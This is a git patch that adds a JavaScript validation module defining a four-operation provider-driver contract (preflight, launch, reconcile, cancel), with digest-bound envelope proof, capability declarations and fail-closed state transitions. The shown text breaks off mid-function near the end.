From bca0a80df78c224ab28c936645c4407596deec5f Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 19:31:41 +0000 Subject: [PATCH 001/151] feat(provider): add the closed P17 driver envelope and capability contract Define ProviderDriverV1 as a pure preflight/launch/reconcile/cancel surface with typed results and exact ChildEnvelopeV1 launch proof. Capability declaration reuses the accepted P05 13-field bridge; live progress, restart reattach, cancellation, and detailed events fail closed when unsupported. Process-local transitions deny duplicate dispatch, stale identity, and post-dispatch replay. No provider transport, registry cutover, scheduler, or durable store is claimed. --- .../mcp/v3/provider-driver.mjs | 863 ++++++++++++++++++ 1 file changed, 863 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/provider-driver.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/provider-driver.mjs b/plugins/codex-co-engineer/mcp/v3/provider-driver.mjs new file mode 100644 index 0000000..114801d --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/provider-driver.mjs @@ -0,0 +1,863 @@ +// ProviderDriverV1 — closed provider-driver envelope/capability contract +// (P17; ADR 0001 identifiers `no_post_dispatch_fallback_or_replay`, +// `exact_identities`, `bounded_evidence`, `gate_a_no_duplicate_dispatch`, +// `gate_a_decision_or_attention_no_silent_unanswerable`). +// +// Additive v3 module. It owns ONLY the pure contract: +// - the four-operation lifecycle (preflight, launch, reconcile, cancel) +// plus typed results for each operation; +// - exact ChildEnvelopeV1 launch proof (text bytes + raw lowercase 64-hex +// P03 digest; digest-only launches are denied); +// - honest capability declaration aligned to the accepted P05 13-field +// ProviderCapabilitiesV1 bridge (no parallel capability schema); +// - driver-surface features for live progress, restart reattach, +// cancellation, and detailed events, which fail closed when unsupported; +// - process-local status transitions with no durable store, scheduler, +// registry cutover, or provider transport (P18/P20/P19/P21). +// +// Direct-JS inputs use the P05 descriptor-first closure: live and revoked +// Proxies, accessors, symbols, exotic prototypes, sparse arrays, aliases, +// cycles, functions, and own undefined are rejected without running caller +// code. Validated values are detached deep-frozen clones. Replay, fallback, +// resend, merge, and direct-mode keys keep the P02 forbidden-class codes. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { timingSafeEqual as cryptoTimingSafeEqual } from 'node:crypto'; +import { types as utilTypes } from 'node:util'; + +import { + CAPABILITY_RECORD_ALLOWED_KEYS, + CREATE_PR_POSTURES, + DISPATCH_CERTAINTY_VALUES, + EXACT_MODEL_SELECTION_POSTURES, + MERGE_AUTHORITIES, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + PROVIDER_CAPABILITY_SNAPSHOT_SCHEMA_ID, + REPLAY_POSTURES, + SAME_SESSION_REPLY_POSTURES, + WORKSPACE_SEMANTICS_VALUES, + WORKSPACE_STARTING_POINTS, + normalizeProviderCapabilitySnapshotV1, + projectCapabilityRecordFromP17, +} from './capability-bridge.mjs'; +import { + capturedCreate, + capturedDefineProperty, + capturedDescriptor, + capturedFreeze, + capturedIncludes, + capturedIsArray, + capturedJoin, + capturedTest, + capturedUtf8ByteLength, + sortedCapturedKeys, +} from './grammar.mjs'; +import { DIGEST_HEX_LENGTH, IDENTITY_LABELS, childEnvelopeDigestV1 } from './identity.mjs'; +import { parseChildEnvelopeV1 } from './prompt-compiler.mjs'; +import { + assertAllowedKeys, + assertBoundedText, + assertDenseJsonArray, + assertJsonDataObject, + isPlainObject, +} from './run-manifest.mjs'; +import { + SHA256_DIGEST_PATTERN, + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + identityBoundDigest, + optOwn, + ownDataValue, +} from './selection-json.mjs'; + +export { + CAPABILITY_RECORD_ALLOWED_KEYS, + CREATE_PR_POSTURES, + DISPATCH_CERTAINTY_VALUES, + EXACT_MODEL_SELECTION_POSTURES, + MERGE_AUTHORITIES, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + PROVIDER_CAPABILITY_SNAPSHOT_SCHEMA_ID, + REPLAY_POSTURES, + SAME_SESSION_REPLY_POSTURES, + WORKSPACE_SEMANTICS_VALUES, + WORKSPACE_STARTING_POINTS, + normalizeProviderCapabilitySnapshotV1, + projectCapabilityRecordFromP17, +}; + +export const PROVIDER_DRIVER_SCHEMA_ID = 'codex-co-engineer.provider-driver.v1'; +export const PROVIDER_DRIVER_VERSION = 1; +export const DRIVER_DECLARATION_SCHEMA_ID = 'codex-co-engineer.driver-declaration.v1'; + +export const DRIVER_OPERATIONS = capturedFreeze([ + 'preflight', 'launch', 'reconcile', 'cancel', +]); + +export const DRIVER_OPERATION_SCHEMA_IDS = capturedFreeze({ + preflight: 'codex-co-engineer.driver-preflight.v1', + launch: 'codex-co-engineer.driver-launch.v1', + reconcile: 'codex-co-engineer.driver-reconcile.v1', + cancel: 'codex-co-engineer.driver-cancel.v1', +}); + +export const DRIVER_RESULT_SCHEMA_IDS = capturedFreeze({ + preflight: 'codex-co-engineer.driver-preflight-result.v1', + launch: 'codex-co-engineer.driver-launch-result.v1', + reconcile: 'codex-co-engineer.driver-reconcile-result.v1', + cancel: 'codex-co-engineer.driver-cancel-result.v1', +}); + +export const DRIVER_SHARED_REQUEST_KEYS = capturedFreeze([ + 'schema', 'version', 'envelope_text', 'child_envelope_digest', +]); +export const DRIVER_RECONCILE_REQUEST_KEYS = capturedFreeze([ + ...DRIVER_SHARED_REQUEST_KEYS, 'include', 'intent', +]); +export const DRIVER_REQUEST_KEYS = DRIVER_RECONCILE_REQUEST_KEYS; + +export const DRIVER_RESULT_REQUIRED_KEYS = capturedFreeze([ + 'schema', 'version', 'run_id', 'assignment_id', 'lane_index', 'base_sha', + 'child_envelope_digest', 'disposition', +]); +export const DRIVER_RESULT_KEYS = capturedFreeze([ + ...DRIVER_RESULT_REQUIRED_KEYS, 'detail_code', 'detail_message', +]); + +export const PREFLIGHT_DISPOSITIONS = capturedFreeze(['ready', 'blocked']); +export const LAUNCH_DISPOSITIONS = capturedFreeze([ + 'not_sent', 'dispatch_uncertain', 'dispatched', +]); +export const RECONCILE_DISPOSITIONS = capturedFreeze([ + 'in_progress', 'terminal', 'unresolved_attention', 'dispatch_uncertain', +]); +export const CANCEL_DISPOSITIONS = capturedFreeze([ + 'cancel_requested', 'cancel_confirmed', 'already_terminal', +]); +export const DRIVER_DISPOSITIONS = capturedFreeze({ + preflight: PREFLIGHT_DISPOSITIONS, + launch: LAUNCH_DISPOSITIONS, + reconcile: RECONCILE_DISPOSITIONS, + cancel: CANCEL_DISPOSITIONS, +}); + +export const DRIVER_FEATURE_KEYS = capturedFreeze([ + 'cancellation', 'detailed_events', 'live_progress', 'restart', +]); +export const DRIVER_FEATURE_VALUES = capturedFreeze({ + cancellation: capturedFreeze(['supported', 'unsupported']), + detailed_events: capturedFreeze(['supported', 'unsupported']), + live_progress: capturedFreeze(['supported', 'unsupported']), + restart: capturedFreeze(['reconcile_reattach_only', 'unsupported']), +}); +export const RECONCILE_INTENTS = capturedFreeze(['observe', 'restart_reattach']); +export const RECONCILE_INCLUDE_VALUES = capturedFreeze([ + 'detailed_events', 'live_progress', +]); +export const DRIVER_DECLARATION_KEYS = capturedFreeze([ + 'schema', 'capability', 'features', +]); +export const CAPABILITY_REQUIREMENT_KEYS = capturedFreeze([ + 'artifact_kinds', 'create_pr_posture', 'dispatch_certainty', + 'exact_model_selection', 'merge_authority', 'replay_posture', + 'same_session_reply', 'workspace_semantics', 'workspace_starting_point', +]); + +export const DETAIL_CODE_PATTERN = /^[a-z0-9][a-z0-9._-]{0,63}$/u; +export const DETAIL_MESSAGE_MAX_BYTES = 512; +export const CHILD_ENVELOPE_DIGEST_PATTERN = new RegExp(`^[0-9a-f]{${DIGEST_HEX_LENGTH}}$`, 'u'); + +const ARRAY_PUSH = Array.prototype.push; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const IS_PROXY = utilTypes.isProxy; +const MAP_CTOR = Map; +const OBJECT_FREEZE = Object.freeze; +const SET_CTOR = Set; +const SET_ADD = SET_CTOR.prototype.add; +const SET_HAS = SET_CTOR.prototype.has; +const STRING = String; +const TIMING_SAFE_EQUAL = cryptoTimingSafeEqual; + +const REQUEST_KEYS_BY_OPERATION = capturedFreeze({ + preflight: DRIVER_SHARED_REQUEST_KEYS, + launch: DRIVER_SHARED_REQUEST_KEYS, + reconcile: DRIVER_RECONCILE_REQUEST_KEYS, + cancel: DRIVER_SHARED_REQUEST_KEYS, +}); + +const POSSIBLE_SEND_STATES = capturedFreeze([ + 'dispatch_uncertain', 'dispatched', 'in_progress', 'unresolved_attention', + 'terminal', 'cancel_requested', 'cancel_confirmed', 'already_terminal', +]); +const PRE_LAUNCH_STATES = capturedFreeze(['absent', 'ready', 'blocked', 'not_sent']); + +function truncateForMessage(value) { + const text = STRING(value); + return text.length > 48 ? `${text.slice(0, 45)}...` : text; +} + +function requestKeysFor(operation) { + return REQUEST_KEYS_BY_OPERATION[operation]; +} + +function detachFrozenJson(value) { + if (value === null || typeof value !== 'object') return value; + if (capturedIsArray(value)) { + const clone = []; + for (let index = 0; index < value.length; index += 1) { + ARRAY_PUSH.call(clone, detachFrozenJson(value[index])); + } + return OBJECT_FREEZE(clone); + } + const clone = {}; + const keys = sortedCapturedKeys(value); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + capturedDefineProperty(clone, key, { + value: detachFrozenJson(optOwn(value, key)), + enumerable: true, + configurable: false, + writable: false, + }); + } + return OBJECT_FREEZE(clone); +} + +function assertLowerHexDigest64(value, path) { + if (typeof value !== 'string' || !capturedTest(CHILD_ENVELOPE_DIGEST_PATTERN, value)) { + fail('invalid_format', path, + `${path} must be a raw lowercase ${DIGEST_HEX_LENGTH}-hex sha256 digest.`); + } +} + +function digestsEqual(left, right) { + return typeof left === 'string' && typeof right === 'string' + && capturedTest(CHILD_ENVELOPE_DIGEST_PATTERN, left) + && capturedTest(CHILD_ENVELOPE_DIGEST_PATTERN, right) + && TIMING_SAFE_EQUAL(BUFFER_FROM(left, 'hex'), BUFFER_FROM(right, 'hex')); +} + +function proveChildEnvelope(request, path) { + const envelopeText = optOwn(request, 'envelope_text'); + if (typeof envelopeText !== 'string') { + fail('invalid_type', `${path}.envelope_text`, + `${path}.envelope_text must be the exact compiled ChildEnvelopeV1 text.`); + } + const parsed = parseChildEnvelopeV1(envelopeText); + const textBytes = capturedUtf8ByteLength(envelopeText); + if (textBytes !== parsed.envelope_byte_length) { + fail('envelope_byte_length_mismatch', `${path}.envelope_text`, + `${path}.envelope_text encodes ${textBytes} UTF-8 bytes while its strict parse declares ` + + `${parsed.envelope_byte_length}.`); + } + assertLowerHexDigest64(optOwn(request, 'child_envelope_digest'), `${path}.child_envelope_digest`); + const actual = childEnvelopeDigestV1(parsed).digest; + if (!digestsEqual(actual, optOwn(request, 'child_envelope_digest'))) { + fail('child_envelope_digest_mismatch', `${path}.child_envelope_digest`, + `${path}.child_envelope_digest does not equal the sha256 digest of the supplied envelope bytes.`); + } + return capturedFreeze({ envelope: parsed, child_envelope_digest: actual }); +} + +function normalizeReconcileInclude(request, path) { + if (!hasOwn(request, 'include')) return capturedFreeze([]); + const include = optOwn(request, 'include'); + assertDenseJsonArray(include, `${path}.include`); + if (include.length === 0 || include.length > RECONCILE_INCLUDE_VALUES.length) { + fail('invalid_format', `${path}.include`, + `${path}.include must list 1-${RECONCILE_INCLUDE_VALUES.length} closed feature names.`); + } + const seen = new SET_CTOR(); + const normalized = []; + for (let index = 0; index < include.length; index += 1) { + const entryPath = `${path}.include[${index}]`; + const value = ownDataValue(include, STRING(index), entryPath); + if (!capturedIncludes(RECONCILE_INCLUDE_VALUES, value)) { + fail('invalid_format', entryPath, + `${entryPath} must be exactly one of ${capturedJoin(RECONCILE_INCLUDE_VALUES, ', ')}.`); + } + if (SET_HAS.call(seen, value)) { + fail('invalid_format', entryPath, `${entryPath} repeats include "${value}".`); + } + SET_ADD.call(seen, value); + ARRAY_PUSH.call(normalized, value); + } + normalized.sort(); + return capturedFreeze(normalized); +} + +function normalizeReconcileIntent(request, path) { + if (!hasOwn(request, 'intent')) return 'observe'; + const intent = optOwn(request, 'intent'); + if (!capturedIncludes(RECONCILE_INTENTS, intent)) { + fail('invalid_format', `${path}.intent`, + `${path}.intent must be exactly one of ${capturedJoin(RECONCILE_INTENTS, ', ')}.`); + } + return intent; +} + +function validateDriverRequest(request, operation) { + const path = `driver.${operation}.request`; + if (request === undefined || request === null) { + fail('invalid_type', path, `${path} must be a plain driver request object.`); + } + assertDirectJsonClosure(request, path); + assertPlainObject(request, 'invalid_type', path, `${path}`); + const allowed = requestKeysFor(operation); + assertAllowedKeys(request, allowed, path); + for (const key of DRIVER_SHARED_REQUEST_KEYS) { + if (hasOwn(request, key)) continue; + if (key === 'envelope_text' && operation === 'launch' + && hasOwn(request, 'child_envelope_digest')) { + fail('digest_only_launch_denied', `${path}.envelope_text`, + 'A digest-only launch is forbidden: the exact compiled ChildEnvelopeV1 text must accompany its digest.'); + } + fail('missing_key', `${path}.${key}`, `${path}.${key} is required.`); + } + if (optOwn(request, 'schema') !== DRIVER_OPERATION_SCHEMA_IDS[operation]) { + fail('schema_mismatch', `${path}.schema`, + `${path}.schema must be exactly "${DRIVER_OPERATION_SCHEMA_IDS[operation]}".`); + } + if (optOwn(request, 'version') !== PROVIDER_DRIVER_VERSION) { + fail('invalid_format', `${path}.version`, + `${path}.version must be exactly ${PROVIDER_DRIVER_VERSION}.`); + } + const proof = proveChildEnvelope(request, path); + const intent = operation === 'reconcile' ? normalizeReconcileIntent(request, path) : undefined; + const include = operation === 'reconcile' ? normalizeReconcileInclude(request, path) : undefined; + const detached = detachFrozenJson(request); + const operationDigest = identityBoundDigest(IDENTITY_LABELS.PROVIDER_OPERATION, { + child_envelope_digest: proof.child_envelope_digest, + operation, + schema: DRIVER_OPERATION_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + }); + if (!capturedTest(SHA256_DIGEST_PATTERN, operationDigest)) { + fail('invalid_format', `${path}.operation_digest`, + 'Provider-operation digest must be a lowercase sha256:<64 hex> binding.'); + } + return capturedFreeze({ + operation, + request: detached, + envelope: proof.envelope, + child_envelope_digest: proof.child_envelope_digest, + operation_digest: operationDigest, + intent, + include, + }); +} + +function assertDisposition(value, operation, path) { + const allowed = DRIVER_DISPOSITIONS[operation]; + if (!capturedIncludes(allowed, value)) { + fail('invalid_format', path, + `${path} must be exactly one of ${capturedJoin(allowed, ', ')}.`); + } +} + +function validateDetailPair(result, operation, path) { + const hasCode = hasOwn(result, 'detail_code'); + const hasMessage = hasOwn(result, 'detail_message'); + if (hasCode !== hasMessage) { + fail('detail_pair_incomplete', `${path}.detail_code`, + `${path}.detail_code and ${path}.detail_message must be provided together.`); + } + const disposition = optOwn(result, 'disposition'); + const required = (operation === 'preflight' && disposition === 'blocked') + || (operation === 'launch' && disposition === 'not_sent'); + const forbidden = (operation === 'preflight' && disposition === 'ready') + || (operation === 'launch' && disposition !== 'not_sent'); + if (required && !hasCode) { + fail('missing_key', `${path}.detail_code`, + `A ${operation} result with disposition "${disposition}" requires a bounded detail_code/detail_message pair.`); + } + if (forbidden && hasCode) { + fail('detail_pair_denied', `${path}.detail_code`, + `A ${operation} result with disposition "${disposition}" must not carry a detail pair.`); + } + if (!hasCode) return; + const code = optOwn(result, 'detail_code'); + if (typeof code !== 'string' || !capturedTest(DETAIL_CODE_PATTERN, code)) { + fail('invalid_format', `${path}.detail_code`, + `${path}.detail_code violates the bounded grammar ${DETAIL_CODE_PATTERN.source}.`); + } + assertBoundedText(optOwn(result, 'detail_message'), { + min: 1, max: DETAIL_MESSAGE_MAX_BYTES, path: `${path}.detail_message`, label: 'detail_message', + }); +} + +function assertResultIdentity(result, view, path) { + const expected = capturedFreeze({ + run_id: view.envelope.run_id, + assignment_id: view.envelope.assignment_id, + lane_index: view.envelope.lane_index, + base_sha: view.envelope.repository.base_sha, + child_envelope_digest: view.child_envelope_digest, + }); + for (const key of sortedCapturedKeys(expected)) { + const actual = optOwn(result, key); + const value = expected[key]; + const equal = key === 'child_envelope_digest' ? digestsEqual(actual, value) : actual === value; + if (!equal) { + fail('receipt_identity_mismatch', `${path}.${key}`, + `${path}.${key} must echo the exact request identity (${truncateForMessage(value)}), received ${truncateForMessage(actual)}.`); + } + } +} + +function assertCapabilityHonesty(result, operation, declaration, path) { + const capability = declaration.capability; + const disposition = optOwn(result, 'disposition'); + if (operation === 'launch' && disposition === 'dispatched' + && capability.dispatch_certainty === 'uncertain_after_spawn') { + fail('capability_dispatch_certainty_mismatch', `${path}.disposition`, + `${path}.disposition "dispatched" is forbidden when the P05 capability declares ` + + `"uncertain_after_spawn"; report dispatch_uncertain instead.`); + } + if (operation === 'reconcile' && disposition === 'unresolved_attention' + && capability.same_session_reply === 'live_session_reply') { + return; + } + if (operation === 'launch' && disposition !== 'not_sent' + && capability.replay_posture !== 'never_replay') { + fail('invalid_replay_posture', `${path}.disposition`, + 'A launched observation is only valid when the P05 capability declares never_replay.'); + } +} + +function validateDriverResultWithView(result, view, operation, declaration) { + const path = `driver.${operation}.result`; + if (result === undefined || result === null) { + fail('invalid_type', path, `${path} must be a plain driver result object.`); + } + assertDirectJsonClosure(result, path); + assertPlainObject(result, 'invalid_type', path, `${path}`); + assertAllowedKeys(result, DRIVER_RESULT_KEYS, path); + for (const key of DRIVER_RESULT_REQUIRED_KEYS) { + if (!hasOwn(result, key)) { + fail('missing_key', `${path}.${key}`, `${path}.${key} is required.`); + } + } + if (optOwn(result, 'schema') !== DRIVER_RESULT_SCHEMA_IDS[operation]) { + fail('schema_mismatch', `${path}.schema`, + `${path}.schema must be exactly "${DRIVER_RESULT_SCHEMA_IDS[operation]}".`); + } + if (optOwn(result, 'version') !== PROVIDER_DRIVER_VERSION) { + fail('invalid_format', `${path}.version`, + `${path}.version must be exactly ${PROVIDER_DRIVER_VERSION}.`); + } + assertDisposition(optOwn(result, 'disposition'), operation, `${path}.disposition`); + validateDetailPair(result, operation, path); + assertResultIdentity(result, view, path); + if (declaration !== undefined) { + assertCapabilityHonesty(result, operation, declaration, path); + } + return detachFrozenJson(result); +} + +function validateFeatures(features, path) { + assertPlainObject(features, 'invalid_type', path, `${path}`); + assertAllowedKeys(features, DRIVER_FEATURE_KEYS, path); + const normalized = capturedCreate(null); + for (const key of DRIVER_FEATURE_KEYS) { + if (!hasOwn(features, key)) { + fail('missing_key', `${path}.${key}`, + `${path}.${key} is required; driver features have no hidden defaults.`); + } + const value = optOwn(features, key); + if (!capturedIncludes(DRIVER_FEATURE_VALUES[key], value)) { + fail('invalid_format', `${path}.${key}`, + `${path}.${key} must be exactly one of ${capturedJoin(DRIVER_FEATURE_VALUES[key], ', ')}.`); + } + normalized[key] = value; + } + return freezeData({ + cancellation: normalized.cancellation, + detailed_events: normalized.detailed_events, + live_progress: normalized.live_progress, + restart: normalized.restart, + }); +} + +export function validateDriverDeclarationV1(declaration) { + const path = 'driver_declaration'; + if (declaration === undefined || declaration === null) { + fail('missing_key', path, + `${path} is required; a driver never inherits hidden capability or feature defaults.`); + } + assertDirectJsonClosure(declaration, `$.${path}`); + assertPlainObject(declaration, 'invalid_type', path, path); + assertAllowedKeys(declaration, DRIVER_DECLARATION_KEYS, path); + for (const key of DRIVER_DECLARATION_KEYS) { + if (!hasOwn(declaration, key)) { + fail('missing_key', `${path}.${key}`, `${path}.${key} is required.`); + } + } + if (optOwn(declaration, 'schema') !== DRIVER_DECLARATION_SCHEMA_ID) { + fail('schema_mismatch', `${path}.schema`, + `${path}.schema must be exactly "${DRIVER_DECLARATION_SCHEMA_ID}".`); + } + const projected = projectCapabilityRecordFromP17(optOwn(declaration, 'capability')); + const features = validateFeatures(optOwn(declaration, 'features'), `${path}.features`); + return freezeData({ + schema: DRIVER_DECLARATION_SCHEMA_ID, + capability: freezeData({ + schema: PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + artifact_kinds: projected.artifact_kinds, + create_pr_posture: projected.create_pr_posture, + dispatch_certainty: projected.dispatch_certainty, + exact_model_selection: projected.exact_model_selection, + merge_authority: projected.merge_authority, + notes: projected.notes, + provider: projected.provider, + replay_posture: projected.replay_posture, + revision: projected.revision, + same_session_reply: projected.same_session_reply, + source_digest: projected.source_digest, + workspace_semantics: projected.workspace_semantics, + workspace_starting_point: projected.workspace_starting_point, + }), + features, + }); +} + +function requirementMismatchCode(key) { + if (key === 'same_session_reply') return 'capability_reply_mismatch'; + if (key === 'dispatch_certainty') return 'capability_dispatch_certainty_mismatch'; + if (key === 'workspace_semantics' || key === 'workspace_starting_point') { + return 'capability_workspace_mismatch'; + } + if (key === 'create_pr_posture' || key === 'merge_authority') { + return 'capability_merge_authority_mismatch'; + } + if (key === 'replay_posture') return 'invalid_replay_posture'; + if (key === 'exact_model_selection') return 'invalid_exact_model_selection'; + if (key === 'artifact_kinds') return 'invalid_artifact_kinds'; + return 'unsupported_capability'; +} + +export function assertCapabilityRequirementV1(declaration, requirement) { + const validated = validateDriverDeclarationV1(declaration); + const path = 'capability_requirement'; + if (requirement === undefined || requirement === null) { + fail('invalid_type', path, `${path} must be a plain object of P05 assertable fields.`); + } + assertDirectJsonClosure(requirement, `$.${path}`); + assertPlainObject(requirement, 'invalid_type', path, path); + assertAllowedKeys(requirement, CAPABILITY_REQUIREMENT_KEYS, path); + const keys = sortedCapturedKeys(requirement); + if (keys.length === 0) { + fail('missing_key', path, `${path} must assert at least one closed P05 capability field.`); + } + const capability = validated.capability; + for (const key of keys) { + if (!capturedIncludes(CAPABILITY_REQUIREMENT_KEYS, key)) { + fail('unknown_capability_key', `${path}.${key}`, + `${path}.${key} is not part of the closed P05 capability requirement vocabulary.`); + } + const expected = optOwn(requirement, key); + const actual = capability[key]; + if (key === 'artifact_kinds') { + assertDenseJsonArray(expected, `${path}.${key}`); + for (let index = 0; index < expected.length; index += 1) { + const kind = ownDataValue(expected, STRING(index), `${path}.${key}[${index}]`); + if (!capturedIncludes(actual, kind)) { + fail('unsupported_capability', `${path}.${key}`, + `Capability does not declare artifact kind "${kind}"; unsupported evidence fails closed.`); + } + } + continue; + } + if (expected !== actual) { + fail(requirementMismatchCode(key), `${path}.${key}`, + `${path}.${key} requires "${truncateForMessage(expected)}" but the P05 capability declares ` + + `"${truncateForMessage(actual)}"; unsupported postures fail closed with no fallback.`); + } + } + return validated.capability; +} + +export function assertDriverFeatureV1(declaration, feature) { + const validated = validateDriverDeclarationV1(declaration); + const path = `driver_declaration.features.${feature}`; + if (!capturedIncludes(DRIVER_FEATURE_KEYS, feature)) { + fail('unknown_key', path, `${path} is not a closed driver feature.`); + } + const value = validated.features[feature]; + if (value === 'unsupported') { + fail('unsupported_capability', path, + `Feature "${feature}" is declared unsupported; the driver fails closed with no fallback or replay.`); + } + return value; +} + +function denyUnsupportedFeature(declaration, feature, path) { + if (declaration.features[feature] === 'unsupported') { + fail('unsupported_capability', path, + `Feature "${feature}" is declared unsupported; the driver fails closed with no fallback or replay.`); + } +} + +function assertEnvelopeProvider(view, declaration) { + const envelopeProvider = view.envelope.execution.provider; + if (envelopeProvider !== null && envelopeProvider !== declaration.capability.provider) { + fail('provider_slot_mismatch', 'driver_declaration.capability.provider', + `driver_declaration.capability.provider must be exactly "${envelopeProvider}" for this child envelope.`); + } +} + +function assertRequestedFeatures(view, declaration) { + assertEnvelopeProvider(view, declaration); + if (view.operation === 'cancel') { + denyUnsupportedFeature(declaration, 'cancellation', 'driver_declaration.features.cancellation'); + } + if (view.operation !== 'reconcile') return; + if (view.intent === 'restart_reattach') { + denyUnsupportedFeature(declaration, 'restart', 'driver.reconcile.request.intent'); + } + for (let index = 0; index < view.include.length; index += 1) { + const feature = view.include[index]; + denyUnsupportedFeature(declaration, feature, `driver.reconcile.request.include[${index}]`); + } +} + +function laneKey(envelope) { + return `${envelope.run_id}\u0000${envelope.assignment_id}`; +} + +function assertTransition(operation, state, view) { + const path = `driver.${operation}.request`; + if (operation === 'preflight') { + if (state === 'absent' || state === 'ready' || state === 'blocked' || state === 'not_sent') { + return; + } + fail('invalid_transition', path, + 'Preflight cannot run after a prompt may have been dispatched; reconcile or cancel instead.'); + } + if (operation === 'launch') { + if (state === 'absent') { + fail('not_preflighted', path, + 'Launch requires a prior preflight:ready result for this exact child identity.'); + } + if (state === 'blocked') { + fail('blocked_lane_denied', path, + 'A blocked preflight cannot launch; the lane fails closed with no fallback.'); + } + if (state === 'ready' || state === 'not_sent') return; + fail('replay_denied', path, + 'A previous launch may have sent the prompt; the lane is never replayed onto this or another transport.'); + } + if (operation === 'reconcile') { + if (capturedIncludes(PRE_LAUNCH_STATES, state) && state !== 'not_sent') { + fail('not_dispatched', path, + 'Reconcile addresses an existing dispatch; this child has no launch observation.'); + } + if (state === 'not_sent') { + fail('not_dispatched', path, + 'A not_sent launch never reached the provider; reconcile cannot invent a dispatch.'); + } + if (view.intent === 'restart_reattach' && !capturedIncludes(POSSIBLE_SEND_STATES, state)) { + fail('not_dispatched', `${path}.intent`, + 'restart_reattach is reconcile-only recovery of existing provider work and never a relaunch.'); + } + return; + } + if (capturedIncludes(PRE_LAUNCH_STATES, state)) { + fail('not_dispatched', path, + 'Cancel addresses an existing dispatch; this child has no launch observation.'); + } +} + +function nextState(operation, disposition) { + if (operation === 'preflight') return disposition; + if (operation === 'launch') return disposition; + if (operation === 'reconcile') return disposition; + return disposition; +} + +export function validateDriverPreflightRequestV1(request) { + return validateDriverRequest(request, 'preflight'); +} + +export function validateDriverLaunchRequestV1(request) { + return validateDriverRequest(request, 'launch'); +} + +export function validateDriverReconcileRequestV1(request) { + return validateDriverRequest(request, 'reconcile'); +} + +export function validateDriverCancelRequestV1(request) { + return validateDriverRequest(request, 'cancel'); +} + +export function validateDriverPreflightResultV1(result, request, declaration) { + const view = validateDriverRequest(request, 'preflight'); + const validated = declaration === undefined ? undefined : validateDriverDeclarationV1(declaration); + return validateDriverResultWithView(result, view, 'preflight', validated); +} + +export function validateDriverLaunchResultV1(result, request, declaration) { + const view = validateDriverRequest(request, 'launch'); + const validated = declaration === undefined ? undefined : validateDriverDeclarationV1(declaration); + return validateDriverResultWithView(result, view, 'launch', validated); +} + +export function validateDriverReconcileResultV1(result, request, declaration) { + const view = validateDriverRequest(request, 'reconcile'); + const validated = declaration === undefined ? undefined : validateDriverDeclarationV1(declaration); + return validateDriverResultWithView(result, view, 'reconcile', validated); +} + +export function validateDriverCancelResultV1(result, request, declaration) { + const view = validateDriverRequest(request, 'cancel'); + const validated = declaration === undefined ? undefined : validateDriverDeclarationV1(declaration); + return validateDriverResultWithView(result, view, 'cancel', validated); +} + +export function assertProviderDriverV1(driver) { + const path = 'provider_driver'; + if (driver !== null && (typeof driver === 'object' || typeof driver === 'function') + && IS_PROXY(driver)) { + fail('proxy_denied', path, + `${path} is a live or revoked Proxy; driver surfaces accept concrete operation functions only.`); + } + if (!isPlainObject(driver)) { + if (typeof driver === 'object' && driver !== null && !capturedIsArray(driver)) { + fail('exotic_prototype_denied', path, + `${path} must use the standard or null object prototype; exotic prototypes are denied.`); + } + fail('invalid_type', path, + `${path} must be a plain record of exactly four operation functions.`); + } + const entries = assertJsonDataObject(driver, path); + const expected = new SET_CTOR(DRIVER_OPERATIONS); + if (entries.length !== DRIVER_OPERATIONS.length + || entries.some(({ key }) => !SET_HAS.call(expected, key))) { + const received = entries.map(({ key }) => key).join(', ') || 'none'; + fail('invalid_surface', path, + `${path} must expose exactly the own operations ${capturedJoin(DRIVER_OPERATIONS, ', ')}; received ${received}.`); + } + for (const { key, value } of entries) { + if (typeof value !== 'function' || IS_PROXY(value)) { + fail('invalid_operation', `${path}.${key}`, + `${path}.${key} must be a concrete function implementing the "${key}" operation.`); + } + } + return capturedFreeze({ + schema: PROVIDER_DRIVER_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + operations: capturedFreeze([...DRIVER_OPERATIONS]), + }); +} + +export function bindProviderDriverV1(driver, declaration) { + assertProviderDriverV1(driver); + const validatedDeclaration = validateDriverDeclarationV1(declaration); + const lanes = new MAP_CTOR(); + const bound = {}; + for (const operation of DRIVER_OPERATIONS) { + const handler = capturedDescriptor(driver, operation)?.value; + if (typeof handler !== 'function' || IS_PROXY(handler)) { + fail('invalid_operation', `provider_driver.${operation}`, + `provider_driver.${operation} must be a concrete function.`); + } + capturedDefineProperty(bound, operation, { + value: function boundDriverOperation(request) { + const view = validateDriverRequest(request, operation); + assertRequestedFeatures(view, validatedDeclaration); + const key = laneKey(view.envelope); + const prior = lanes.get(key); + if (prior !== undefined && !digestsEqual(prior.child_envelope_digest, view.child_envelope_digest)) { + fail('stale_identity_denied', `driver.${operation}.request.child_envelope_digest`, + 'The request envelope digest does not match the exact child previously observed on this lane.'); + } + const state = prior === undefined ? 'absent' : prior.state; + assertTransition(operation, state, view); + const result = handler.call(driver, view.request); + const frozen = validateDriverResultWithView(result, view, operation, validatedDeclaration); + lanes.set(key, capturedFreeze({ + child_envelope_digest: view.child_envelope_digest, + state: nextState(operation, frozen.disposition), + })); + return frozen; + }, + enumerable: true, + configurable: false, + writable: false, + }); + } + return OBJECT_FREEZE(bound); +} + +export function buildDriverOperationRequestV1(operation, envelope, extras = {}) { + if (!hasOwn(DRIVER_OPERATION_SCHEMA_IDS, operation)) { + fail('unknown_operation', 'operation', + `operation must be one of ${capturedJoin(DRIVER_OPERATIONS, ', ')}.`); + } + if (extras === undefined || extras === null) { + fail('invalid_type', 'request_extras', 'request extras must be a plain object when present.'); + } + assertDirectJsonClosure(extras, 'request_extras'); + assertPlainObject(extras, 'invalid_type', 'request_extras', 'request extras'); + const extraKeys = operation === 'reconcile' + ? capturedFreeze(['include', 'intent']) + : capturedFreeze([]); + assertAllowedKeys(extras, extraKeys, 